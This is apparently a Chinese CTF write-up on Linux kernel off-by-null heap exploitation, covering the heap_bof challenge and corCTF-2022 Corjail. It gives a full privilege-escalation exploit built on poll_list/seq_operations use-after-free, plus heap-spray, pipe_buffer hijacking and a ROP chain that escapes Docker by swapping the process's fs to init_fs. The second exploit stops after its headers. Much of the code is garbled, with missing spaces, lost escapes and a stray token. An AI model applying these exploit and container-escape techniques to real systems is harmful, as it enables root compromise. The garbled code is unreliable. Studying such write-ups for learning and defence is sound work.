kernel heap exploit(二)

admin 2024年11月11日20:22:22评论8 views字数 36148阅读120分29秒阅读模式

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kerneloff-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。

戳文章名称,看上篇哦:kernel heap exploit

off by null

我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎么去利用呢?

利用思路

boot.sh

#!/bin/bash

qemu-system-x86_64 
-initrd rootfs.img 
-kernel bzImage 
-m 1G 
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' 
-monitor /dev/null 
-s 
-cpu kvm64 
-smp cores=1,threads=2 
--nographic

poll系统调用

/*
*   @fds: pollfd类型的一个数组
*   @nfds: 前面的参数fds中条目的个数
*   @timeout: 事件发生的毫秒数
*/

int poll(struct pollfd *fds, nfds_t nfds, int timeout);

poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。

struct pollfd {
    int fd;
short events;
short revents;
};

struct poll_list {
struct poll_list *next;// 指向下一个poll_list
int len;// 对应于条目数组中pollfd结构的数量
struct pollfd entries[];// 存储pollfd结构的数组
};

poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000

kernel heap exploit(二)

poll_list 分配/释放

do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。

#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd)) 
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))

[...]

staticintdo_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
        struct timespec64 *end_time)
{

struct poll_wqueues table;
int err =-EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
       faster - use long to make sure the buffer is aligned properly
       on 64 bit archs to avoid unaligned access */


/*
    *  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
    */

long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
struct poll_list *const head =(struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsignedlong todo = nfds;

if(nfds > rlimit(RLIMIT_NOFILE))
return-EINVAL;
/*
    *  [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
    */

    len =min_t(unsignedint, nfds, N_STACK_PPS);

for(;;){
        walk->next =NULL;
        walk->len = len;
if(!len)
break;

if(copy_from_user(walk->entries, ufds + nfds-todo,sizeof(struct pollfd)* walk->len))
goto out_fds;

        todo -= walk->len;
if(!todo)
break;
/*
        *  [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
        *  每个page 最多存 POLLFD_PER_PAGE (510) 个entry, 
        *  超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
        */

        len = min(todo, POLLFD_PER_PAGE);
/*
        *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
        */

        walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
if(!walk){
            err =-ENOMEM;
goto out_fds;
}
}

    poll_initwait(&table);
/*
    *  [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
    *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
    */

    fdcount = do_poll(head,&table, end_time);
    poll_freewait(&table);

if(!user_write_access_begin(ufds, nfds *sizeof(*ufds))and)
goto out_fds;

for(walk = head; walk; walk = walk->next){
struct pollfd *fds = walk->entries;
int j;

for(j = walk->len; j; fds++, ufds++, j--)
            unsafe_put_user(fds->revents,&ufds->revents,Efault);
}
    user_write_access_end();

    err = fdcount;
out_fds:
    walk = head->next;
while(walk){// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
        walk = walk->next;
        kfree(pos);
}

return err;

Efault:
    user_write_access_end();
    err =-EFAULT;
goto out_fds;
}

我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。

详细流程

  1. 1. 首先分配 kmalloc-4096 大小的结构题在ptr[0]

  2. 2. 然后构造这样的poll_list结构体。

    kernel heap exploit(二)
  3. 3. 利用off-by-nullpoll_list->next的最后一个字节改为空。然后大量分配kmalloc-32obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 x00 的,其低字节为 0x200x400x80 、0xa00xc00xe00x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。

    kernel heap exploit(二)
  4. 4. 等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。

  5. 5. 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199

char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];

#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000

struct param {
size_t len;// 内容长度
char*buf;// 用户态缓冲区地址
unsignedlong idx;// 表示 ptr 数组的 索引
};

size_t user_cs, user_rflags, user_sp, user_ss;

voidsave_status(){
    __asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}

voidget_shell(void){
    system("/bin/sh");
}

voidqword_dump(char *desc, void *addr, int len){
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:n", desc);
}
for(int i =0; i < len /8; i +=4){
printf("  %04x", i *8);
for(int j =0; j <4; j++){
            i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf("                   ");
}
printf("   ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}

/*--------------------------------------------------------------------------------------------------*/

struct callback_head {
struct callback_head *next;
void(*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void*))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedefunsignedlonglong u64;

struct user_key_payload {
struct rcu_head rcu;/* RCU destructor */
unsignedshort datalen;/* length of this data */
char data[0] __aligned(__alignof__(u64));/* actual data */
};

intkey_alloc(int id, void *payload, int payload_len){
char description[0x10]={};
sprintf(description,"pwn_%d", id);
return key_id[id]= syscall(__NR_add_key,"user", description, payload, payload_len -sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

intkey_update(int id, void *payload, size_t plen){
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

intkey_read(int id, void *bufer, size_t buflen){
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

intkey_revoke(int id){
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id],0,0,0);
}

intkey_unlink(int id){
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

/*--------------------------------------------------------------------------------------------------*/

pthread_t tid[40];

typedefstruct {
int nfds, timer;
} poll_args;

struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};

void*alloc_poll_list(void *args){
int nfds =((poll_args *) args)->nfds;
int timer =((poll_args *) args)->timer;

struct pollfd *pfds =calloc(nfds,sizeof(struct pollfd));
for(int i =0; i < nfds; i++){
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
}
    poll(pfds, nfds, timer);
}

void*create_poll_list(size_t size, int timer, int i){
    poll_args *args =calloc(1,sizeof(poll_args));
    args->nfds =(size -(size + PAGE_SIZE -1)/ PAGE_SIZE *sizeof(struct poll_list))/sizeof(struct pollfd)+ N_STACK_PPS;
    args->timer = timer;

    pthread_create(&tid[i],NULL, alloc_poll_list, args);
}

/*--------------------------------------------------------------------------------------------------*/

struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
struct page *page;
unsignedint offset, len;
conststruct pipe_buf_operations *ops;
unsignedint flags;
unsignedlongprivate;
};

struct pipe_buf_operations {
int(*confirm)(struct pipe_inode_info *,struct pipe_bufer *);
void(*release)(struct pipe_inode_info *,struct pipe_bufer *);
int(*try_steal)(struct pipe_inode_info *,struct pipe_bufer *);
int(*get)(struct pipe_inode_info *,struct pipe_bufer *);
};

/*--------------------------------------------------------------------------------------------------*/

void*(*commit_creds)(void*)=(void*)0xFFFFFFFF810A1340;
void*init_cred =(void*)0xFFFFFFFF81E496C0;
size_t user_rip =(size_t) get_shell;

size_t kernel_offset;
voidget_root(){
    __asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
    kernel_offset -=0xffffffff81229378;
    commit_creds =(void*)((size_t) commit_creds + kernel_offset);
    init_cred =(void*)((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}

/*--------------------------------------------------------------------------------------------------*/

intmain(){
    save_status();
    signal(SIGSEGV,(void*) get_shell);
    bof_fd = open("dev/bof", O_RDWR);
int seq_fd[SEQ_NUM];

printf("[*] try to alloc_kmalloc-4096n");
size_t* mem =malloc(0x1010);
memset(mem,'xff',0x1010);
struct param p ={0x1000,(char*)mem,0};
    ioctl(bof_fd, BOF_MALLOC,&p);

printf("[*] try to spary kmalloc-32n");
    p.len =0x20;
for(int i =1; i <20;++i)
{
        p.idx = i;
memset(mem, i,0x20);
memset(mem,0,0x18);
        ioctl(bof_fd, BOF_MALLOC,&p);
        ioctl(bof_fd, BOF_EDIT,&p);
}

printf("[*] try to alloc_poll_listn");
for(int i =0; i <14;++i)
{
        create_poll_list(PAGE_SIZE +sizeof(struct poll_list)+sizeof(struct pollfd),3000, i);
}

printf("[*] try to spary kmalloc-32n");
    p.len =0x20;
for(int i =20; i <40;++i)
{
        p.idx = i;
memset(mem, i,0x20);
memset(mem,0,0x18);
        ioctl(bof_fd, BOF_MALLOC,&p);
        ioctl(bof_fd, BOF_EDIT,&p);
}

    sleep(1);
//   调试用代码
//    p.len = 0x1010;
//    p.idx = 0;
//    ioctl(bof_fd, BOF_READ, &p);

//    printf("[*] p->buf == %pn", (size_t*)mem[0x1008/8]);

    p.len =0x1001;
    p.idx =0;
memset(mem,'x00',0x1001);
    ioctl(bof_fd, BOF_EDIT,&p);

void*res;
for(int i =0; i <14;++i)
{
printf("[*] wating for poll endn");
        pthread_join(tid[i],&res);
}

for(int i =0; i <256;++i)
{
        seq_fd[i]= open("/proc/self/stat", O_RDONLY);
}

    sleep(1);

for(int i =1; i <40;++i)
{
        p.idx = i;
        p.len =0x20;

        ioctl(bof_fd, BOF_READ,&p);
printf("[%d->0] p->buf == %pn", i,(size_t*)mem[0]);
printf("[%d->1] p->buf == %pn", i,(size_t*)mem[1]);
printf("[%d->2] p->buf == %pn", i,(size_t*)mem[2]);
printf("[%d->3] p->buf == %pn", i,(size_t*)mem[3]);

        mem[0]=(size_t*)get_root;
        mem[1]=(size_t*)get_root;
        mem[2]=(size_t*)get_root;
        mem[3]=(size_t*)get_root;
        ioctl(bof_fd, BOF_EDIT,&p);
}

for(int i =1; i <40;++i)
{
        p.idx = i;
        p.len =0x20;

        ioctl(bof_fd, BOF_READ,&p);
printf("[%d->0] p->buf == %pn", i,(size_t*)mem[0]);
printf("[%d->1] p->buf == %pn", i,(size_t*)mem[1]);
printf("[%d->2] p->buf == %pn", i,(size_t*)mem[2]);
printf("[%d->3] p->buf == %pn", i,(size_t*)mem[3]);
}



for(int i =0; i <256; i++){
        read(seq_fd[i], p.buf,1);
}

return0;
}

corCTF-2022:Corjail

题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

run_challenge.sh

#!/bin/sh
qemu-system-x86_64 
-m 1G 
-nographic 
-no-reboot 
-kernel bzImage 
-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" 
-hda coros.qcow2 
-snapshot 
-monitor /dev/null 
-cpu qemu64,+smep,+smap,+rdrand 
-smp cores=4 
--enable-kvm

init脚本

查看服务进程/etc/systemd/system/init.service

Description=Initialize challenge

[Service]
Type=oneshot
ExecStart=/usr/local/bin/init

[Install]
WantedBy=multi-user.target

查看 /usr/local/bin/init 脚本;

 cat /usr/local/bin/init
#!/bin/bash

USER=user

FLAG=$(head-n 100/dev/urandom |sha512sum| awk '{printf $1}')

useradd --create-home --shell /bin/bash $USER

echo"export PS1='[33[01;31m]u@CoROS[33[00m]:[33[01;34m]w[33[00m]# '">>/root/.bashrc
echo"export PS1='[33[01;35m]u@CoROS[33[00m]:[33[01;34m]w[33[00m]$ '">>/home/$USER/.bashrc

chmod-r 0700/home/$USER

mv/root/temp /root/$FLAG
chmod0400/root/$FLAG

password

❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs>cat/etc/password
libguestfs: error: download:/etc/password:No such file or directory
><fs>cat/etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......

root_shell

查看root用户的/usr/local/bin/jail;

><fs>cat/usr/local/bin/jail
#!/bin/bash

echo-e '[33[5me[1;33m!e[0m] Spawning a shell in a CoRJail...'

/usr/bin/docker run -it --user user 
--hostname CoRJail 
--security-opt seccomp=/etc/docker/corjail.json 
-v /proc/cormon:/proc_rw/cormon:rw corcontainer

/bin/bash

/usr/sbin/poweroff -f

发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。

为了方便调试,我们可以使用edit将其修改为:

><fs> edit /usr/local/bin/jail 
><fs>cat/usr/local/bin/jail
#!/bin/bash

echo-e '[33[5me[1;33m!e[0m] Spawning a shell in a CoRJail...'

cp/exploit /home/user ||echo"[!] exploit not found, skipping"

chown-R user:user /home/user

echo0>/proc/sys/kernel/kptr_restrict

/usr/bin/docker run -it --user root 
--hostname CoRJail 
--security-opt seccomp=/etc/docker/corjail.json 
# 允许容器能够调用与日志相关的系统调用
--cap-add CAP_SYSLOG 
# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
-v /proc/cormon:/proc_rw/cormon:rw 
# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
-v /home/user/:/home/user/host 
  corcontainer

/bin/bash

/usr/sbin/poweroff -f

edit 的用法和 vim 一样。

后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:

><fs>help upload
NAME
    upload - upload a file from the local machine

SYNOPSIS
     upload filename remotefilename

DESCRIPTION
Uploadlocal file filename to remotefilename on the filesystem.

    filename can also be a named pipe.

See also "download".

kernel_patch

diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@

#define __SYSCALL_64(nr, sym)[nr]= __x64_##sym,

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
 asmlinkage constsys_call_ptr_t sys_call_table[__NR_syscall_max+1]={
/*
      * Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
  * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
  * macros to work correctly.
  */
-#define SYSCALL_DEFINE0(sname)      
+#define __SYSCALL_DEFINE0(sname)      
     SYSCALL_METADATA(_##sname, 0);     
staticlong __do_sys_##sname(const struct pt_regs *__unused); 
     __X64_SYS_STUB0(sname)      
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include<linux/key.h>
#include<linux/personality.h>
#include<trace/syscall.h>
+#include <asm/syscall.h>

#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
 }
 #endif

-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)     
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)     
     SYSCALL_METADATA(_##sname, 0);    
     asmlinkage long sys_##sname(void);   
     ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);  
@@ -219,9 +220,41 @@

 #define SYSCALL_DEFINE_MAXARGS 6

-#define SYSCALL_DEFINEx(x, sname, ...)    
- SYSCALL_METADATA(sname, x, __VA_ARGS__)   
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) 
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) 
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)     
+ {         
+  __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);  
+  return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); 
+ }         
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) 
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)     
+ {        
+  __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); 
+  return __count_sys_##sname();    
+ }        
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)   
+ SYSCALL_METADATA(sname, x, __VA_ARGS__)  
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) 
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) 
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)  
+ SYSCALL_COUNT_DECLARE0(sname) 
+ __SYSCALL_DEFINE0(sname) 
+ SYSCALL_COUNT_FUNC0(sname)

 #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)

diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
     return NULL;
 }

-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
 {
     if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
         return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@

     return syscalls_metadata[nr];
 }
+EXPORT_SYMBOL(syscall_nr_to_meta);

 const char *get_syscall_name(int syscall)
 {
@@ -122,6 +123,7 @@

     return entry->name;
 }
+EXPORT_SYMBOL(get_syscall_name);

 static enum print_line_t
 print_syscall_enter(struct trace_iterator *iter, int flags,

其中

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。


seccomp.json 保存了系统调用的白名单。

{
    "defaultAction":"SCMP_ACT_ERRNO",
"defaultErrnoRet":1,
"syscalls":[
{
"names":["_llseek","_newselect","accept","accept4","access",...],
"action":"SCMP_ACT_ALLOW"
},
{
"names":["clone"],
"action":"SCMP_ACT_ALLOW",
"args":[{"index":0,"value":2114060288,"op":"SCMP_CMP_MASKED_EQ"}]
}
]
}

根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。

root@CoRJail:/# cat /proc_rw/cormon 

      CPU0      CPU1      CPU2      CPU3 Syscall(NR)

9162518 sys_poll (7)
0000 sys_fork (57)
66647960 sys_execve (59)
0000 sys_msgget (68)
0000 sys_msgsnd (69)
0000 sys_msgrcv (70)
0000 sys_ptrace (101)
1519116 sys_setxattr (188)
27241120 sys_keyctl (250)
0022 sys_unshare (272)
0100 sys_execveat (322)

也可以指定系统调用。

root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
root@CoRJail:/# cat /proc_rw/cormon 

      CPU0      CPU1      CPU2      CPU3 Syscall (NR)

         0         0         0         0 sys_msgsnd (69)
         0         0         0         0 sys_msgrcv (70)

src.c

可以看到 write 存在明显的off-by-null

static ssize_tcormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
loff_t offset =*ppos;
char*syscalls;
size_t len;

if(offset <0)
return-EINVAL;

if(offset >= PAGE_SIZE ||!count)
return0;

    len = count > PAGE_SIZE ? PAGE_SIZE -1: count;

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llxn",(uint64_t)syscalls);

if(!syscalls)
{
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!n");
return-ENOMEM;
}

if(copy_from_user(syscalls, ubuf, len))
{
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!n");
return-EFAULT;
}

    syscalls[len]='x00';

if(update_filter(syscalls))
{
        kfree(syscalls);
return-EINVAL;
}

    kfree(syscalls);

return count;
}

利用思路

在 poll_list 利用方式中:

  • • 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 x00 的,其低字节为 0x200x400x80 、0xa00xc00xe00x00

  • • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object

  • • 触发 off by null,修改 poll_list.next 的低字节为 x00,这里可能导致其指向某个 user_key_payload

  • • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

详细流程如下:

首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。

void bind_core(bool fixed, bool thread){
cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ?0: randint(1, get_nprocs()),&cpu_set);
if(thread){
        pthread_setaffinity_np(pthread_self(),sizeof(cpu_set),&cpu_set);
}else{
        sched_setaffinity(getpid(),sizeof(cpu_set),&cpu_set);
}
}

喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。

kernel heap exploit(二)

此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。

kernel heap exploit(二)

通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。

注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
int error;
void*kvalue =NULL;
char kname[XATTR_NAME_MAX +1];
[...]
if(size){
[...]
        kvalue = kvmalloc(size, GFP_KERNEL);// 申请kmalloc-x
if(!kvalue)
return-ENOMEM;
// 修改kmalloc-x内容
if(copy_from_user(kvalue, value, size)){
            error =-EFAULT;
goto out;
}
[...]
}

    error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
    kvfree(kvalue);// 释放kmalloc-x

return error;
}

另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。

kernel heap exploit(二)

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

struct seq_operations {
    void*(*start)(struct seq_file *m,loff_t*pos);
void(*stop)(struct seq_file *m,void*v);
void*(*next)(struct seq_file *m,void*v,loff_t*pos);
int(*show)(struct seq_file *m,void*v);
};

struct user_key_payload {
struct rcu_head rcu;/* RCU destructor */
unsignedshort datalen;/* length of this data */
char  data[0] __aligned(__alignof__(u64));/* actual data */
};

struct callback_head {
struct callback_head *next;
void(*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void*))));
#define rcu_head callback_head

之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object 。

kernel heap exploit(二)

释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payloadpoll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object

打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。

int tty_alloc_file(struct file *file)
{
struct tty_file_private *priv;

    priv = kmalloc(sizeof(*priv), GFP_KERNEL);
if(!priv)
return-ENOMEM;

    file->private_data = priv;

return0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};

kernel heap exploit(二)

趁 poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer 。

struct pipe_buffer {
    struct page *page;
unsignedint offset, len;
conststruct pipe_buf_operations *ops;
unsignedint flags;
unsignedlongprivate;
};

之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。

kernel heap exploit(二)

docker逃逸

具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct

    // commit_creds(&init_creds)
*rop++= pop_rdi_ret;
*rop++= init_cred;
*rop++= commit_creds;

// current = find_task_by_vpid(getpid())
*rop++= pop_rdi_ret;
*rop++= getpid();
*rop++= find_task_by_vpid;

// current->fs = &init_fs
*rop++= pop_rcx_ret;
*rop++=0x6e0;
*rop++= add_rax_rcx_ret;
*rop++= pop_rbx_ret;
*rop++= init_fs;
*rop++= mov_mmrax_rbx_pop_rbx_ret;
    rop++;

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
